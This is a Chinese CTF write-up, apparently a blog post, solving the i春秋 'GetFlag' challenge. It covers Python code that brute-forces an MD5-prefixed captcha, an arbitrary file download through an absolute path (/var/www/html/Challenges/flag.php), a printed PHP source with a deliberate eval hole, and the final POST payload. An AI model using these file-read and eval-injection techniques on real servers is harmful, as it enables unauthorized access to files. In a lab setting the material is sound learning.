• “百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)


    题目在i春秋ctf大本营

    页面给出了验证码经过md5加密后前6位的值,依照之前做题的套路,首先肯定是要爆破出验证码,这里直接给我写的爆破代码

    #coding:utf-8
    import hashlib  
    strs = '35eb09'
    def md5(s):
        return hashlib.md5(str(s).encode('utf-8')).hexdigest()
    
    def main():
        for i in range(100000,100000000):
            a = md5(i)
            if a[0:6] == strs:
                print(i)
                exit(0)  
    if __name__ == '__main__':
        main()

    拿到验证码后,先拿弱口令尝试登陆,试了好几个都不没成功,转而测试是否有注入点

    测试的时候发现每次输入验证码都会改变,是真的烦,不过看返回页面存在注入点

    重定向后发现三个文件:

    打开最后一个a.php,看到提示:flag在根目录

    一开始以为是文件读取,使用filter协议并没有成功,尝试直接访问flag.php,发现文件存在

    再去查看网页源码,发现了文件下载的url

    尝试下载flag.php,似乎并不行

    一时间没了思路,去翻翻大佬的wp,看了后才知道../被过滤了,这里可以直接拿绝对路径来下载

    猜测绝对路径为/var/www/html

    所以我们访问url:http://b25da701b8cd44fb97bd6ceb7c5da1e474fdc7f166034f3a.game.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php

    成了成了,打开文件发现源码:

    <?php
    $f = $_POST['flag'];
    $f = str_replace(array('`', '$', '*', '#', ':', '\', '"', "'", '(', ')', '.', '>'), '', $f);
    if((strlen($f) > 13) || (false !== stripos($f, 'return')))
    {
            die('wowwwwwwwwwwwwwwwwwwwwwwwww');
    }
    try
    {
             eval("$spaceone = $f");
    }
    catch (Exception $e)
    {
            return false;
    }
    if ($spaceone === 'flag'){
        echo file_get_contents("helloctf.php");
    }
    
    ?>
     

    这里要求我们post一个flag参数,若值为flag就给出helloctf.php的内容,flag在这个文件里没跑了

    直接POSTflag=flag并没有反应,再去瞜一眼wp,大佬POST的是flag=flag;

    最后一定要加上分号.......但我并不清楚其中的原理,有了解的大佬请告知一下

    POST完后可以在网页源码中看到flag

  • 相关阅读:
    在Linux中运行Nancy应用程序
    医疗行业信息化学习资源
    Windows Live Writer 的昨日荣光
    读书笔记:李叔同,说佛(上),为人十训
    使用Expression Tree构建动态LINQ查询
    读书笔记:季羡林关于如何做研究学问的心得
    XML序列化的时候如何支持Namespace
    Kafka Consumer
    Linux环境安装Golang
    Linux 下 zip 文件解压乱码如何解决
  • 原文地址:https://www.cnblogs.com/Ragd0ll/p/8961057.html
Copyright © 2020-2023  润新知